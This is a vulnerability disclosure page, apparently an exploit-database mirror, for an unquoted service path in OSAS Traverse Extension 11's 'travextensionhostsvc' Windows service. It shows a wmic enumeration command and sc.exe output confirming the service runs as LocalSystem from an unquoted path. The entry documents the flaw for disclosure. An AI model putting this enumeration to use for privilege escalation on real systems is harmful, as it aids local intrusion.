Osas traverse extension 11 travextensionhostsvc unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-03-22 | Type : local | Platform : windows
This exploit / vulnerability Osas traverse extension 11 travextensionhostsvc unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: OSAS Traverse Extension 11 - 'travextensionhostsvc' Unquoted Service Path
# Exploit Auth: Tech Johnny
# Vendor Homepage: https://www.osas.com
# Version: 11 x86
# Tested on: Windows 2012R2

Details:

C:\Windows\system32>wmic service get name, pathname, displayname,
startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr
/i /v """

TRAVERSE Automation Service TravExtensionHostSvc C:\Program Files\Open
Systems, Inc\TRAVERSE\TRAVERSE.Host.CustomExtensions.exe Auto

C:\Windows\system32>sc.exe qc travextensionhostsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: travextensionhostsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Open Systems,Inc\TRAVERSE\TRAVERSE.Host.CustomExtensions.exe
LOAD_ORDER_GROUP : TAG : 0
DISPLAY_NAME : TRAVERSE Automation Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem